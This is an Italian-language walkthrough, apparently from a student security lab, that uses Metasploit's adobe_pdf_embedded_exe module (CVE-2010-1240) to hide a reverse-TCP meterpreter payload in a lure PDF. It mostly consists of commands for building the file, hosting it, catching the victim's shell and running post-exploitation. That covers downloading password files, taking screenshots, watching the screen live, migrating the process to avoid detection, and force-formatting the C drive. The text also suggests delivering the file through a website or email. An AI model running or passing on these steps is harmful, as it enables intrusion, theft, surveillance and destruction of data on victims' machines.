
Questo video dimostrativo mostra come possiamo controllare il dispositivo della vittima inviando al bersaglio un file PDF dall'aspetto innocente che in realtà è costituito da un payload incorporato. L'exploit è stato reso pubblico come CVE-2010-1240.
presentato da
Questo video dimostrativo mostra come possiamo controllare il dispositivo della vittima inviando al bersaglio un file PDF dall'aspetto innocuo che in realtà contiene un payload incorporato. L'exploit è stato reso pubblico come CVE-2010-1240.
Non appena il PDF viene aperto in Adobe Reader, gli utenti che, ingannati da noi, accettano i pop-up di sicurezza, ci permetteranno di ottenere una sessione meterpreter connessa ai loro dispositivi tramite connessione TCP inversa. Da quel momento, tutti i loro dati e ciò che stanno facendo in tempo reale sono sotto la nostra sorveglianza.

Per prima cosa, avviamo MSFconsole, che ci fornisce un'interfaccia a riga di comando per accedere al framework Metasploit.
msfconsole
Successivamente, cerchiamo un exploit che corrisponda alla piattaforma Windows di destinazione e ad Adobe PDF Reader; verrà mostrato un intero elenco di exploit che possono essere usati per dirottare la macchina Windows della vittima e sfruttare le vulnerabilità di Adobe PDF Reader.
search type:exploit platform:windows adobe pdf
In questa fase di attacco, selezioniamo e utilizziamo il modulo "adobe_pdf_embedded_exe" tramite il comando seguente per riuscire a dirottare la vittima.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
Possiamo anche controllare le informazioni sull'exploit usando il comando “info” come mostrato di seguito:
info
Poi, impostiamo il payload per usare una connessione TCP inversa. Usiamo anche Meterpreter, che fornisce una shell interattiva che ci facilita l'uso di tutti i tipi di funzioni, inserendo ed eseguendo codice per esplorare la macchina della vittima.
set payload windows/meterpreter/reverse_tcp
Quindi, imposteremo l'host e la porta di ascolto. Per LHOST, dobbiamo inserire l'indirizzo IP della macchina attaccante, che in questo caso è l'indirizzo IP della nostra macchina Kali (10.0.2.4)*.
*p.s.
Per quanto riguarda LPORT, sta a noi impostare un numero di porta che non sia comunemente usato.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
Quindi, imposteremo il file di input come base del PDF con il flag INFILENAME*. Successivamente, imposteremo il nome del file con qualcosa che attiri l'interesse della vittima ad aprire il file PDF dannoso.
*p.s.
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
Possiamo rivedere le nostre opzioni prima di inserire il comando "exploit" per generare il payload insieme al PDF.
# Then we can show the info or options by
show info | show options
exploit
Una volta generato il file PDF, lo sposteremo in /var/www/html, che è la directory della nostra macchina Kali che ospita il server web da cui la vittima scaricherà il file PDF.
Nota:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
Quindi, per configurare il nostro listener, useremo "exploit/multi/handler". Di nuovo, imposteremo payload, LHOST e LPORT in linea con quanto definito durante la generazione del file PDF dannoso. Poi eseguiremo il payload.
Nota:
show info o show options sono comandi opzionali da eseguire.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
In un altro terminale, controlliamo lo stato del server Apache per assicurarci che sia in esecuzione e che ospiti il nostro file PDF in /var/www/html per il download da parte della vittima.
service apache2 status
# If it is inactive, start the service
service apache2 start
Sulla macchina Windows, apri un browser qualsiasi, ad esempio Chrome, e digita l'IP della nostra Kali (10.0.2.4)* per accedere al server web della macchina Kali.
*Nota: Ricorda l'indirizzo IP della tua macchina Kali
Quindi, simula un utente che salva il file PDF desiderato.
Una volta che la vittima apre il file in Adobe Reader 8.1.2 accettando i messaggi di sicurezza, possiamo osservare sulla nostra macchina Kali una nuova sessione connessa tramite connessione TCP inversa.
In uno scenario reale, configureremo un sito web con il PDF contenente il payload per consentire alla vittima di scaricare il file o allegarlo via email.
A questo punto, possiamo accedere da remoto alla macchina della vittima e compiere ulteriori azioni dannose che desideriamo nella sessione meterpreter.
help
pwd
ls
Ad esempio, se c'è un file chiamato password.txt, possiamo eseguire il comando download password.txt
download [nome cartella | nome file con estensione]
Naturalmente, possiamo scrivere script dannosi (impiantando una backdoor) per continuare a connetterci alla macchina Windows se siamo davvero malvagi! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
Tuttavia, l'attaccante può ridurre i sospetti migrando il processo di meterpreter verso un altro processo usando il modulo migrate nella sessione meterpreter.
meterpreter> run post/windows/manage/migrate
Qui, genererà automaticamente un nuovo processo nella macchina della vittima su cui migrare. La vittima potrebbe quindi cancellare il file PDF infetto, completamente ignara che il processo è già finito altrove.
L'attaccante può inoltre creare script dannosi sulla macchina di destinazione usando il prompt dei comandi (cmd) o PowerShell, in grado di far crollare l'intero sistema operativo rendendolo non funzionante.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false